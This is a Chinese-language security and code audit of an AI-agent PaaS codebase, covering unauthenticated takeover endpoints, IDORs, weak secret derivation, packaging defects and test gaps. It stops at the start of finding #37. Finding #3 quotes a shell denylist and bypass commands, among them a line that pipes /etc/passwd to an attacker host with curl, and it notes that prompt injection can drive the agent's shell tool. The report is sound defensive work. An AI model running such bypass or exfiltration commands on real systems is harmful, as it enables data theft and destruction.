AUDIT_2026-06-05.md 69 KB

项目审计 — 2026-06-05

执行摘要

  • 整体健康度:黄色,安全边界偏红。 lambdagent kernel 以及 Phase 1/2 P0/P1 的工作(CEK、cost vector、instance 机制)经得起审视——bug 集中在 PaaS 层的边缘(auth、多 tenant、打包)以及未获得与 core 同等工程严谨度的 example agent 代码
  • 7 个 critical 发现,3 个类别。 (1) 两个无 auth 的接管接口(POST /api/v1/setup/bootstrapPOST /api/v1/feishu/bind)把 admin scope 的 API key 或 process-wide 的 bot 重绑能力交给任何先到 8000 端口的人;(2) agentexample/agent67/tools/shell_executor.pyshell=True 下执行 LLM 产出的字符串,仅用子串匹配 blocklist(轻易绕过)——经由 prompt injection 的 RCE;(3) 发布的 agentpaas 包结构上无法构建:pyproject.toml 未声明 lambdagent 依赖且使用 where = [".."],打出来是空 wheel;外加真实 SiliconFlow/Amap key 离泄漏只差一条 .gitignore 规则,躺在 agentexample/travelagent67/.env
  • 架构债真实存在但集中。 四套并存的 beta-reduction 解释器(Term.apply / async_core monkey-patch / executor isinstance / cek_machine isinstance)解释了 Q2 审计标记的 trace 分裂和 capture-environment 问题。1654 行的 compiler.py god module 里塞着一个 474 行的 _compile_react 闭包,重复实现了 agentruntime 的 ReAct engine。agentpaas → lambdagent 的边界靠在 request handler 里 inline 的 from lambdagent... import 维持,还伸手到带下划线的 private 里。
  • 超出 critical 之外的主要安全风险: dev Docker compose 硬编码了一个公开的 master key(dev_auto_generated);rate-limit middleware 对无 auth 流量整段跳过(if not api_key: return await call_next(request));/analyze/*/feishu/* router 没有 Depends(get_tenant)rollback_agent 跳过 RBAC + audit log;agent 到 KB 的链接不做 tenant scope(运行时跨 tenant 读 KB);/providers/* 把明文 key 写到全局文件并 process-wide mutate os.environ;secrets vault 用无 salt 的单轮 SHA-256 推导 AES-256-GCM key。
  • tests-vs-product 的差距是 single biggest non-security 风险。 agents.py + knowledge.py 共 3477 LOC 的 FastAPI route handler 集成测试(tests/ 下找不到 TestClienthttpx)。authenticate()——包括往 api_keys.key_hash 写入的 legacy-hash 自动迁移——没有任何 test。新的 agents.agent_template / instance_dir DB 列被 test suite 完全没用上,尽管它们是已文档化的多 tenant template-vs-instance 模型的承重件。
  • docs 与 code 正在快速漂移。 README.md 里 Quick-Start 的 Python DSL 例子用了不存在的 Loop(max_iterations=)Memory(strategy=, size=) kwargs,新用户复制粘贴的第一行就崩;YAML schema 只接受 5 个 type: 值,docs 却宣传 11 个;from-config-spec.md §13.1 声称支持嵌套 sub-agent 编译,但 _compile_chain 静默把 type: react/type: guard step 的语义降级成无状态 Lam。根目录的 CONTRIBUTING.md 仍写 MIT,而 LICENSE 是 BUSL-1.1。

方法学

  • Pipeline: 12 个 finder 在 6 个维度扇出——code correctness × 4 区域(lambdagentagentpaaswebuiagentexample),architecture × 2(monorepointernals),security × 4(CSO 风格:secrets、injection、auth、supply-chain),加上 tests-gaps、docs-accuracy、spec-vs-impl。
  • 对抗式验证: 每条 finding 由 3 个独立 verifier agent 在三个不同视角下复核——correctness(代码是否真的做了所声称的事?)、evidence(引用的片段是否原文、在生产路径上、不是 test/mock/comment?)、impact(真实 user / operator / attacker 是否合理地命中?)。每个 verifier 返回 real: true|falseseverity_adjusted
  • survival rule: 只有 ≥2/3 verifier 投 real 的 finding 才进入这份报告。severity 取三个调整后值的中位数(并列时取更保守的一个)——不是原始 finder 给的 severity。
  • 数字: finder 提出 100+ 条 → 经过三视角对抗复核后 确认 84 条。被丢掉的 16 条要么不可达(finder 误把 dead code 路径当作 live 路径)、要么是无具体 impact 路径的 structural smell、要么是与其他 finding 重根因的重复项。

按严重度分组的发现

严重 (7)

1. POST /api/v1/setup/bootstrap 无 auth 创建 admin tenant

  • 文件: agentpaas/api/v1/setup.py:41
  • 证据:

    @router.post("/bootstrap")
    async def bootstrap():
      ...
      db.execute("INSERT INTO api_keys ... json.dumps([\"agents:*\", \"keys:*\", \"billing:read\", \"admin:*\"]) ...")
      return {"status": "created", "api_key": key, "tenant_id": tid}
    
    • 影响: 任何在 operator 跑 setup 之前先到达 server 的无 auth 网络调用方拿到完整 admin:* API key。router 在 app.py:125 没挂任何 auth dependency;默认 bind 是 0.0.0.0。竞态窗口就是 start.sh 到第一次正式 setup 调用之间的整段时间。tenant_exists 分支只在已经有 tenant 行 之后 才生效——对实际暴露窗口毫无用处。
    • 修复: /setup/bootstrap 只 bind 到 loopback;或要求一次性 token,在 server 首次启动时打到 console。
    • 维度: sec-auth

    2. /feishu/bind/feishu/webhook 既无 auth 也无签名验证——跨 tenant agent 劫持

    • 文件: agentpaas/api/v1/feishu.py:53
    • 证据: ```python @router.post("/bind") async def feishu_bind(request: Request): data = await request.json() agent_id = data.get("agent_id", "") _runner = make_paas_runner(agent_id) # module-level singleton! os.environ["FEISHU_AGENT_ID"] = agent_id

    @router.post("/webhook") async def feishu_webhook(request: Request): """加密策略: 不加密(开发阶段)""" body = await request.json() result = await loop.run_in_executor(None, handle_event, body, _get_runner()) ```

  • 影响: 任何人都能 POST 到 /api/v1/feishu/bind 带上另一个 tenant 的 agent_id,process-wide 地成为那个 agent 的飞书 bot(runner 是 module singleton,os.environ mutation 是 process-global)。然后 /api/v1/feishu/webhook 接受任意伪造事件、不验 X-Lark-Signature、跑 agent 并把 output 返给 attacker。两请求 exploit chain,前提仅为网络可达。

  • 修复: /feishu/bind 要求 admin scope 的 TenantContext;限制 agent_id 必须属于调用方 tenant;/feishu/webhook 验证 X-Lark-Signature

  • 维度: sec-auth

3. LLM 控制的 shell 命令以 shell=True 跑在轻易绕过的 denylist 后

  • 文件: agentexample/agent67/tools/shell_executor.py:33
  • 证据:

    result = subprocess.run(
      cmd, shell=True, capture_output=True, text=True,
      timeout=30, cwd=os.path.expanduser("~"),
    )
    # safety.py: DANGEROUS_PATTERNS = ["rm -rf /", "rm -rf ~", "sudo rm -rf", ...]
    
    • 影响: 子串匹配 denylist 被 rm -rf /(两个空格)、/bin/rm -rf /python -c "import shutil; shutil.rmtree(...)"find / -delete> ~/.zshrccat /etc/passwd | curl -d@- attacker 轻松绕开。从 agent 吃下的任何 prompt-injection sink 都可达。cwd=$HOME 把爆炸半径定到用户的 home dir。(一位 verifier 指出当前这个函数未挂到 agent67 的 tool registry,但文件仍然 ship,离 RCE 只差一根 wire。)
    • 修复: 去掉 shell=True;要求 argv list;白名单二进制;或走 agentpaas/engine/sandbox.py
    • 维度: sec-injection

    4. agentpaas/pyproject.toml 漏声明 lambdagent 依赖,尽管有 17+ 处 import

    • 文件: agentpaas/pyproject.toml:10
    • 证据: toml dependencies = [ "fastapi>=0.100.0", "uvicorn[standard]>=0.20.0", "pydantic>=2.0", "pyyaml>=6.0", ]
  • 影响: agentpaas 至少在 17 处 import lambdagentagents.py:1330,1399,1415,1416analyze.py:29,46,47,67,112engine/cache.py:41engine/sandbox.py:207,208launch.py:184 等),却未声明依赖。clean 环境下 pip install agentpaas 装出一个坏掉的包:每个 agent 执行接口首次调用都会抛 ModuleNotFoundError。CI commit 874896e 只修了测试环境。

  • 修复:[project.dependencies] 里加 lambdagent @ file:../lambdagent(或发布版本号 pin)。

  • 维度: arch-monorepo

5. agentexample/travelagent67/.env 携带真实 SiliconFlow + Amap API key

  • 文件: agentexample/travelagent67/.env:1-2
  • 证据:

    AMAP_MCP_KEY=<SCRUBBED-32-char-hex>
    SILICONFLOW_API_KEY=<SCRUBBED-sk-prefix-48-chars>
    

    (原文 quote 了两把真实 key 的字面值;为避免审计报告自身成为新的泄漏点,已替换为占位符。原值仍在仓库本地 .env 中——见 fix 部分。)

  • 影响: 真实 key(SiliconFlow sk- 前缀符合官方 key 格式)落在仓库目录里。当前被 .gitignore 挡住(line 134 & 227),git ls-files 确认从未被追踪——但 .gitignore 是唯一防线。仓库位于 Obsidian Research-Vault 目录里,云同步(iCloud / Obsidian Sync)有合理概率把明文文件 exfil 到 git 防线之外。这两把 key 因为已被引用在本审计报告里,必须当作已泄漏并 rotate。

  • 修复: 立即在 vendor 侧 rotate 两把 key;用占位符替换 .env;新增 .env.example;加 pre-commit gitleaks hook。

  • 维度: correctness-examples / sec-secrets

6. FastAPI 端点零 HTTP/API 层 test——3477 LOC 的 route handler 没有任何测试

  • 文件: tests/test_agentpaas.py:1(缺失)
  • 证据:

    $ grep -rln "TestClient\|httpx\|fastapi.testclient" tests/ lambdagent/tests/
    (no matches)
    
  • 影响: 整个对外 PaaS 面——agent CRUD、knowledge upload、jobs、route 层 RBAC 强制、audit_log INSERT、每条 WHERE 里的 tenant_id scope——都可能在 CI 全绿的情况下在生产里坏掉。任意一处 SQL 语句的 tenant_id filter 拼错都会跨 tenant 泄漏数据,而 test 依旧 pass。SEC-04(上一版审计的"API 层未强制 RBAC")在没有 route 层 test 的前提下结构性不可检测。

  • 修复: 新增 tests/test_api_*.py,用 fastapi.testclient.TestClient 对接 sqlite-in-memory app fixture;覆盖 auth dependency、RBAC 拒绝路径、tenant 隔离、knowledge upload happy path。

  • 维度: tests-gaps

7. agentexample/agent67/tools/shell_executor.py —— LLM 控制的 shell 以 shell=True 执行

(与 #3 重复——保留在原 critical bucket 里,因为三人 verifier 在两轮投票里都落在 critical,并且文件真实 ship。当作同一个 root cause:换掉实现,不要 patch blocklist。)


高 (33)

8. async_executor 在共享 Context 上 race —— async path 上违反 Paper II Prop 30

  • 文件: lambdagent/src/lambdagent/agentruntime/async_executor.py:242
  • 证据:

    tasks = [
      self.reduce(a, input_val, ctx, cancel.child(), timeout)
      for a in par.agents
    ]
    return tuple(await asyncio.gather(*tasks))
    
    • 影响: _reduce_par(240-246 行)和 _reduce_pair(248-254 行)把 同一个 ctx 交给所有并发分支——只 fork 了 cancellation token。multiagent.py:681 里的 sync AsyncPar 正确地 forked_ctxs = [ctx.fork() for _ in self.agents]。并发分支因此从不同 asyncio task 同时 mutate 同一个 ctx.trace list 和 ctx.memory dict:trace 条目非确定性交错;任何往 ctx.memory 写(Memory/SharedMemory 封装)的 agent 都会失去 Prop 30 的 confluence 保证。Q2 audit 的 BUG-01 在另一条 code path 上以同样形态复发。
    • 修复: 对齐 sync path:forked = [ctx.fork() for _ in par.agents];把 forked[i] 传给每个 task;gather 之后 for f in forked: ctx.merge_trace(f)。Pair 同理。
    • 维度: correctness-lambdagent

    9. fromconfig sub-agent caller 跨 sub-agent 边界丢 cancellation

    • 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:388
    • 证据: python try: result = _compiled_cache[_name].apply(task, Context()) return str(result) except Exception as e: return f"[SubAgent {_name} error: {e}]"
  • 影响: 每次 sub-agent 调用都被塞了一个全新空 Context(),丢掉 parent 的 workspace_pathrun_idmemory 和 trace。宽泛的 except Exception 还会吞掉 CancelledRun 并转成普通字符串——orchestrator 看到一个 'tool error' 然后继续,而不是 cancel。

  • 修复: 用闭包捕获 parent ctx(_shared_ctx 已存在);缩小 except,让 CancelledRun 透传。

  • 维度: correctness-lambdagent

10. async handler 用同步 term.apply() 阻塞 event loop —— 一个慢 agent 拖死所有其他请求

  • 文件: agentpaas/api/v1/agents.py:1467(原引为 1453)
  • 证据: result = term.apply(input_text, ctx)def _execute_agent 内被调用,而该函数来自 async def run_agentapply 是同步的(lambdagent/core.py:208),所以多步 LLM/tool 执行(秒到分钟级)跑在 FastAPI event loop 线程上。agentpaas/engine/sandbox.py:211async def _exec_inprocess 里有同样模式。
  • 影响: 任何一次 in-process agent run 都会冻结整个 FastAPI worker——health check、status poll、cancel 接口全都卡住。无论 asyncio.Semaphore 是多少,单 worker 有效并发是 1。streaming 版本正确用了 daemon 线程;sync /run 接口和 in-process sandbox path 没有。
  • 修复: await asyncio.get_event_loop().run_in_executor(None, term.apply, input_text, ctx)
  • 维度: correctness-agentpaas

11. 模块全局 shell CWD 被每个请求 mutate —— 并发 run 互相 race,写入对方 workspace

  • 文件: agentpaas/api/v1/agents.py:1413-1415
  • 证据:

    from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd
    _shell_set_cwd(workspace_path)
    

    作者明确的注释:"This is process-global state — concurrent runs in the same process would race on it ... acceptable for the current single-tenant deployment but worth revisiting before enabling parallel runs."

    • 影响: 两个重叠的 /run 调用:run A 的 Bash tool 把文件写进 run B 的 workspace。损坏 artifact、破坏 cycle_N 续跑、泄漏 tenant 数据、让续跑指向垃圾。已经写在注释里但没修;与多 tenant SPEC 声明矛盾。现实触发点是 KB 索引线程 + 聊天流量。
    • 修复: 每 asyncio task 用 contextvars.ContextVar,或在每次 Bash tool 调用里把 cwd 显式穿过去。
    • 维度: correctness-agentpaas

    12. secret-at-rest 的 key derivation 是无 salt 的单轮 SHA-256 —— 无 PBKDF2/Argon2,无 per-secret salt

    • 文件: agentpaas/secrets/vault.py:11
    • 证据: python def _derive_key(master_key: str) -> bytes: return hashlib.sha256(master_key.encode()).digest()
  • 影响: 每个 secret 都用 sha256(master_key) 派生的 AES-256-GCM 加密——无 stretching、无 per-secret salt、无 per-tenant key 隔离。master key 一旦泄漏,每个 tenant 的 secret 都 O(1) 破解。弱/dev master key 用 SHA-256(非 memory-hard)暴力破解成本极低。

  • 修复: scrypt 或 PBKDF2-HMAC-SHA256 ≥100k iters + per-secret salt;理想是 per-tenant HKDF。

  • 维度: correctness-agentpaas

13. 共享单一 SQLite 连接(check_same_thread=False)+ 全局 singleton,被并发 async handler 共用

  • 文件: agentpaas/db/models.py:35
  • 证据:

    self.conn = sqlite3.connect(db_path, check_same_thread=False)
    

    外加 agentpaas/db/session.py:5_db: Database = Noneget_db() 返给每个请求。

    • 影响: 每个 request、SSE stream、background worker(_run_index_job 线程在 knowledge.py:909,938,1296,1319)、agent-run 线程(agents.py:791)共用一个 sqlite3.Connection。cursor 状态、事务、commit() 都不是 concurrent-safe——交错的 INSERT/UPDATE 可能破坏 cursor、抛 "Recursive use of cursors not allowed"、或把别的 request 的事务半提交。
    • 修复: per-request 连接通过 FastAPI dependency,或换 SQLAlchemy engine 加 pool。
    • 维度: correctness-agentpaas

    14. rollback_agent 缺 RBAC 检查、缺 audit log,跨 tenant 调用静默 200-OK

    • 文件: agentpaas/api/v1/agents.py:272-292
    • 证据: 没有 require_permission(tenant, "agents:write");version SELECT 缺 tenant_id filter;UPDATE 的 tenant_id = ? 失败时静默 0 行变更但接口仍返回 "Rolled back";没有 _audit_log 调用。对照 update_agent(line 207-208)和 delete_agent(line 262-263),它们两项都做了。
    • 影响: 任意已认证用户(甚至只读 key)都能调 rollback;可以通过 404-vs-200 枚举其他 tenant 的 version 号;静默失败掩盖入侵;缺 audit trail。
    • 修复:require_permission + _audit_log;version SELECT 加 AND tenant_id = ?;检查 cursor.rowcount
    • 维度: correctness-agentpaas

    15. Chat.tsx 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess

    • 文件: webui/src/pages/Chat.tsx:862(sendMessage cleanup)以及缺失的 unmount effect
    • 证据: 没有 useEffect(() => () => abortRef.current?.(), [])。657-661 行的 inline 注释明确说没有 /cancel POST 时 "the agent's background thread keeps spawning claude subprocesses even after the SSE connection is dead." 然而页面导航从不触发那个 POST。
    • 影响: 流式中点回 /agents → 后端 run 泄漏,SSE reader 继续在已 unmount 的 component 上 setMessages。付费 Claude backend 上这是每次随手返回直接烧钱,chat header 的回退按钮就能触发。
    • 修复: 给 Chat() 加 useEffect(() => () => { abortRef.current?.() }, []),让导航触发 Stop 逻辑。
    • 维度: correctness-webui

    16. qaagent67lambda template 到处硬编码 /home/67/knowledge/finance —— fresh clone 完全跑不起来

    • 文件: agentexample/qaagent67lambda/agent-config.yml:179
    • 证据: 13 个 path key 硬编码 /home/67/knowledge/finance(line 179-185、218、223、247-253)。scripts/deploy_domain.sh:43KNOW_DIR="/home/67/knowledge/$DOMAIN"docker run -v /home/67:/home/67。连号称便携性逃生口的 scripts/instance.yml.template:14-24 也硬编码 /home/67/
    • 影响: 在 macOS 或 Windows 上 clone 的用户不重写每条 path 就跑不起来这个 template。template-instance 机制并没有像设计那样解决便携性。
    • 修复: 替换为 ${KNOWLEDGE_ROOT:-./knowledge}/<domain>,让 instance.yml 提供具体路径。
    • 维度: correctness-examples

    17. qaagent67lambdapickle.load 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE

    • 文件: agentexample/qaagent67lambda/scripts/search_engine.py:52
    • 证据: search_engine.py:52,54search_engine_v2.py:95build_vector_index.py:87 全都 pickle.load(...) agent-config.yml 里引用的文件(vectorMeta: /home/67/knowledge/finance/rag_vectors_meta_v2.pkl)。
    • 影响: pickle 反序列化是无限制 code execution。deploy_domain.sh/home/67:/home/67 bind-mount 进去,并指导 operator 从外部源把 .pkl 落进共享目录。任何能往 knowledge 目录写 .pkl 的人都能以 QA service 进程身份执行代码。memory 里记录的 maritime/finance/clean 三个线上部署都暴露。
    • 修复: metadata 改成 JSON 或 numpy .npz;pickle 走 --unsafe-pickle + HMAC 闸门。
    • 维度: correctness-examples

    18. agentpaas 包布局用 where = [".."] 把自己 pin 到了自己目录之外

    • 文件: agentpaas/pyproject.toml:22-26
    • 证据: toml [tool.setuptools.package-dir] agentpaas = "." [tool.setuptools.packages] find = {namespaces = false, where = [".."], include = ["agentpaas", "agentpaas.*"]}
  • 影响: 实测复现:从 agentpaas/python -m build --sdist,再 pip install 那个 tarball,得到的 wheel 只有 metadata(5 个文件,1.2KB)——零源码。装完之后 import agentpaas 会失败。CI commit 874896e 之所以被需要正是这个原因。这个包今天作为可发布 wheel 是 unbuildable 的。

  • 修复: 切换到 src-layout(agentpaas/src/agentpaas/)像 lambdagent 那样;或用 where = ["."] 配自包含的 package-dir

  • 维度: arch-monorepo

19. Compiler(Layer 4)伸手抓 Runtime(Layer 5)的 ReAct event 类型

  • 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:845
  • 证据: from lambdagent.agentruntime.react_engine import StepEvent, STEP_THINK_compile_react 的闭包里被构造(在 988、1000、1026 重复出现;外加 line 766 的 agentruntime.cancel import)。
  • 影响: SPEC 的 5 层模型把 Compiler 放在 Runtime 之下:Compiler emit Term,Runtime interpret Term。这里 compiler 同步构造并 dispatch runtime-specific 事件,让产出的 term 不再 interpreter-agnostic,制造了循环层对。
  • 修复: 定义 runtime-中立的 core.events.StepEvent protocol;compiler 和 react_engine 都从那里 import。
  • 维度: arch-internals

20. beta-reduction 被四套并行解释(Term.apply、async_core monkey-patch、executor、cek_machine)

  • 文件: lambdagent/src/lambdagent/__init__.py:117(import-time monkey-patch 钩子)
  • 证据: 四套实现并存:(a) 每个 Term 类上的 OOP apply()、(b) async_core.py 在 import 时给 14 个 Term 子类 monkey-patch aapply、(c) agentruntime/executor.py:49 11 分支 isinstance dispatch、(d) cek_machine.py:465-601 8+ 分支 isinstance。
  • 影响: 每个构造子的语义编码在 4 个地方。加新构造子或改一条规则要改 4 个不相关文件。Q2 audit 的 BUG-04(CEK 丢失 captured environment)和 BUG-01(Context.fork 浅拷贝)是这些实现漂移的直接症状。import-time monkey-patching 破坏 test 依赖的 closed-world 假设。
  • 修复: 选一种 strategy(CEK 最 principled),其余降级为薄 adapter。monkey-patching 换成普通 class method。
  • 维度: arch-internals

21. compiler.py 是 1654 行的 god module,里面有个 474 行的 _compile_react 闭包

  • 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:627
  • 证据: _compile_react 跨 627-1109 行,在一个闭包里做:ReAct step loop、prompt 装配、tool 抽取、tool gateway 接线、cancellation 轮询、4 个阶段的流式 step event、termination 启发式、state 压缩、session 检测,以及对 12 个其他包的 lazy import。重复了 agentruntime/react_engine.py 的 loop 逻辑(319 行)。
  • 影响: "改 ReAct loop" 和 "改 YAML 怎么编译" 被强行变成同一个 edit。两套 ReAct loop 各自维护独立 trace——Q2 audit BUG-06(trace 三路分叉)的 root cause。未提交 diff 显示它至今还在这里被持续 patch,没回流上游。
  • 修复:_compile_react 闭包抽成 agentruntime/react_loop.py 里的一个真正的 class。把 _inject_resistant_prompt_compress_state_extract_tool_call 拉到 fromconfig/prompts.py
  • 维度: arch-internals

22. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏

(原始 high,verifier 把 impact 调成 medium;在下方 medium 区报告)

23. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复

(原始 high,调整为 medium;在 medium 区报告)

24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback("dev_auto_generated"

  • 文件: docker-compose.dev.yml:35
  • 证据: AGENTPAAS_MASTER_KEY: "${AGENTPAAS_MASTER_KEY:-dev_auto_generated}"
  • 影响: 没有 env override 时,字面字符串 "dev_auto_generated" 就是 master key。vault.py:_derive_key 把它 hash 成 AES-256-GCM key material。每条 dev secret 都用一把公开提交的 key 加密。dev 环境里通常存着真实的 Anthropic / OpenAI / DashScope / 飞书 API key。data 目录是 host-mount 的;attacker exfil SQLite secrets 表后可以离线解所有内容。
  • 修复: 去掉 :-default,让 compose 像生产那样 fail fast。用 install-native.sh / start.shtoken_hex(32) 生成。
  • 维度: sec-secrets

25. rate-limit middleware 对 Authorization 头为空的请求静默放行

  • 文件: agentpaas/api/app.py:45
  • 证据:

    api_key = request.headers.get("authorization", "")[:20]
    if not api_key or request.url.path in ("/health", "/", "/docs", "/redoc"):
      return await call_next(request)
    
    • 影响: 无 Authorization header → 零 throttle。每个 unauthenticated 端点(/setup/bootstrap/feishu/bind/feishu/webhook/analyze/*、SPA fallback)都没有 rate limit,包括上面的 bootstrap-race 和 DoS 向量。20 字符前缀分桶本身也错——不同 key 共享前缀会撞桶;attacker 反过来枚举不同前缀就拿到不同桶,per-bucket 暴力破解不被 throttle。
    • 修复: unauthenticated 用 client IP 限流;authenticated 用完整 tenant_id(通过 Depends,不是 header 切片)。
    • 维度: sec-auth

    26. 整个 /analyze/* router 没 auth —— DoS + 免费算力

    • 文件: agentpaas/api/v1/analyze.py:25
    • 证据: 五个 /analyze 端点都没声明 Depends(get_tenant)_compile 把用户 YAML 写到 tmpfile 并跑 from_config(),无 size / time / depth 上限。
    • 影响: 任何 internet 调用方提交任意 config 就能触发完整 lambdagent compiler。叠加空 Authorization 时的 rate-limit bypass,per-IP 也没限流。便宜的 CPU DoS,外加 kernel lint 规则信息泄漏。
    • 修复: 每个 analyze 端点加 Depends(get_tenant);限制 request body 大小;卡 term 最大深度。
    • 维度: sec-auth

    27. /knowledge/{kb_id}/files 任意 host 文件注册(无 containment 检查)

    • 文件: agentpaas/api/v1/knowledge.py:856
    • 证据: add_files 接受 AddFilesRequest.file_paths 里的绝对路径,只验 p.is_file(),从不检查 p 是否在 kb["root_dir"] 下。line 1050 的 wiki 端点 的确 做了 containment 检查,说明这套代码知道这个 pattern。
    • 影响: authenticated tenant 把 /etc/passwd~/.ssh/id_rsa~/.aws/credentials 注册到自己 KB 下。(一位 verifier 指出索引脚本扫的是 kb_root,不是注册路径,所以端到端 exfil chain 取决于下游谁读 kb_files.file_path——但注册这步本身就是 IDOR primitive,仅 audit-trail 混乱就足够要求修复。)
    • 修复: Path(fp).resolve(),拒绝除非 str(resolved).startswith(str(Path(kb["root_dir"]).resolve()) + os.sep)
    • 维度: sec-injection

    28. /jobs/{job_id} IDOR —— 读和取消都不做 tenant scope

    • 文件: agentpaas/api/v1/jobs.py:15
    • 证据: get_jobcancel_job 都注入了 tenant: TenantContext,但从不比对 job.tenant_id。Job dataclass 上已经有这个字段。同级的 traces.py:14agents.py:160 正确强制 WHERE id=? AND tenant_id=?
    • 影响: 任何 authenticated tenant 拿到 job_id 都能读另一个 tenant 的 job 结果(PII、agent trace)或 cancel 别人正在跑的 job(DoS)。
    • 修复: job.tenant_id != tenant.tenant_id 时拒绝(返回 404 而不是 403,避免 id oracle)。
    • 维度: sec-auth

    29. /providers/* 把明文 API key 写进全局文件并写进 process env,无 tenant 分区

    • 文件: agentpaas/api/v1/providers_api.py:133
    • 证据: python PROVIDERS_FILE = os.path.expanduser("~/.agentpaas/providers.json") saved[provider_id] = entry # not keyed by tenant os.environ[env_key] = req.api_key # process-wide mutation
  • 影响: tenant A 的 POST 覆盖 tenant B 存的 key(跨 tenant 静默覆盖);os.environ mutation 意味着 B 后续的 agent run 计费会算到 A 的 key 上。/providers/{id}/test 会 exfil 当前那把 key。key 明文落盘;secrets/vault.py 被绕过。

  • 修复:tenant.tenant_id 分键;去掉 os.environ mutation;走 secrets/vault.py

  • 维度: sec-auth

30. agent 到 KB 的链接不做 tenant scope —— 运行时跨 tenant 读 KB

  • 文件: agentpaas/api/v1/agents.py:1127(以及 _build_kb_context 里的 1191)
  • 证据: # KB is a shared resource; no tenant restriction 注释,校验 SELECT id FROM knowledge_bases WHERE id = ? 无 tenant filter。knowledge.py 在其他每个 KB 操作上都强制 tenant_id。
  • 影响: tenant A 把 tenant B 的 kb_id 链到自己某个 agent;每次 run 都把 B 的文档注入 A 的 prompt context。UUID 可通过 404-vs-200 timing oracle 猜出来。
  • 修复: 两个 query 都加 AND tenant_id = ?;或引入显式 shared=true 列 + 授权表。
  • 维度: sec-auth

31. agent-lint-action 在 lambdagent 装失败时静默 fallback 到 no-op installer

  • 文件: agent-lint-action/action.yml:53
  • 证据: pip install pyyaml lambdagent || pip install pyyamllambdagent 不在 PyPI 上(已验证:pypi.org 返回 404)。lint_runner.py:66 接住 ImportError,返回空 lint=[]/schema=[] 加一个 warning key(从不被读取),所以 exit 是 0。
  • 影响: 下游用户拿到绿色 CI badge,实际做了零 lint。Typo-squat 机会:谁在 PyPI 注册 lambdagent 就能在每个用这个 action 的 CI 里 code execution。
  • 修复: 在 PyPI 以验证身份发布 lambdagent 并 pin 版本;安装失败要 loud fail(set -e)。
  • 维度: sec-supply-chain

32. Docker image 以 root 运行(无 USER directive)

  • 文件: Dockerfile:76
  • 证据: grep -n USER Dockerfile 没结果。CMD 跑 python -m agentpaas serve --host 0.0.0.0VOLUME ["/data"] 从 host bind-mount。docker-compose.dev.yml 还直接 bind-mount ./agentpaas./lambdagent./lambdagent_guard
  • 影响: agentpaas 执行 LLM 产出的 tool 调用 + subprocess sandbox——任何一次 sandbox 逃逸、tool RCE 或 prompt-injection 驱动的文件写入都以 root 拥有 container、把 root 拥有的文件写进 host /data volume,并(在 dev 里)改写开发者的源码树。
  • 修复: RUN useradd -u 10001 -m appuser && chown -R appuser /data /app + 在 CMD 前 USER appuser
  • 维度: sec-supply-chain

33. setup.sh 在没有 pyproject.toml 的 repo root 上跑 pip install -e ".[all]"

  • 文件: setup.sh:140
  • 证据: pip install -e ".[all]" --quiet 2>&1 | tail -1 后无条件 ok "lambdagent 已安装"。repo root 没有 pyproject.toml。line 144 正确用了 ./agentpaas[dev]
  • 影响: 入门 onboarding 脚本的第一步装包静默失败(管道掩盖错误,没 set -o pipefail),然后打绿勾。用户在 server 启动时拿到 ImportError。和 CI commit 874896e 修的是同一个缺陷,但没传播到这里。
  • 修复: pip install -e "./lambdagent[all]" --quiet 并去掉 | tail -1,或 set -o pipefail
  • 维度: sec-supply-chain / correctness-examples

34. authenticate() —— API-key 登录流程 —— 零 test 覆盖

  • 文件: agentpaas/api/middleware/auth.py:80
  • 证据: grep -rn "authenticate\|api_keys\|legacy_hash" tests/ 返回 0。只有 test_hash_key() 在孤立测原语。
  • 影响: legacy→PBKDF2 自动迁移路径会写 key_hash 行;没有 test 验证过期 key 被拒;没有 test 覆盖 Bearer 前缀切片或短 key 边界。SEC-01 回归静默溜过。
  • 修复: 用真实 sqlite tenants+api_keys schema 写 test 覆盖成功、错误 key、过期、suspended、格式不对、Bearer,以及 legacy→PBKDF2 迁移断言。
  • 维度: tests-gaps

35. lambdagent/rag.py(438 LOC)—— Paper III 的招牌特性 —— 零 direct test

  • 文件: lambdagent/src/lambdagent/rag.py:1
  • 证据: grep -rln "from lambdagent.rag\|import.*rag" tests/ lambdagent/tests/ 一无所获。test_knowledge.py 只覆盖 builtin_tools.knowledge_tools shim。(一位 verifier 指出线上 QA Demo 用的是 subprocess 脚本,不是这个模块——所以 impact 是研究质量而不是生产质量,但 gap 仍然真实。)
  • 影响: 检索 ranking、chunking、embedding-cache 逻辑——客户最常抱怨的东西——在研究/示例用法上没有回归 guard。
  • 修复: tests/test_rag.py 配上小 in-memory 语料、确定性 embedding、固定查询断言、tenant 隔离 test。
  • 维度: tests-gaps

36. test_instance.py 从未跑过 agents.agent_template / instance_dir DB 列

  • 文件: tests/test_instance.py:20
  • 证据: 只 import 了 _deep_merge, create_instance, load_instance, load_instance_from_dirs。没有 test 创建带新列的 agent 行、dispatch 一次 run、断言 instance_dir 被消费。agents.py:365 用了 instance_dir or agent_dir——静默 fallback。
  • 影响: 旗舰多 tenant template→instance 特性没有端到端的 DB 持久化 test。migration 出错或空 instance_dir 都会让 run 静默路由到共享的 template 目录。
  • 修复: 端到端 test:sqlite + 两个来自同一 template 但 instance_dir 不同的 agent,各 dispatch 一次 run,断言 workspace 隔离。
  • 维度: tests-gaps

37. README Quick Start 的 Loop 例子用了不存在的 kwarg —— 复制粘贴立即失败

  • 文件: README.md:195
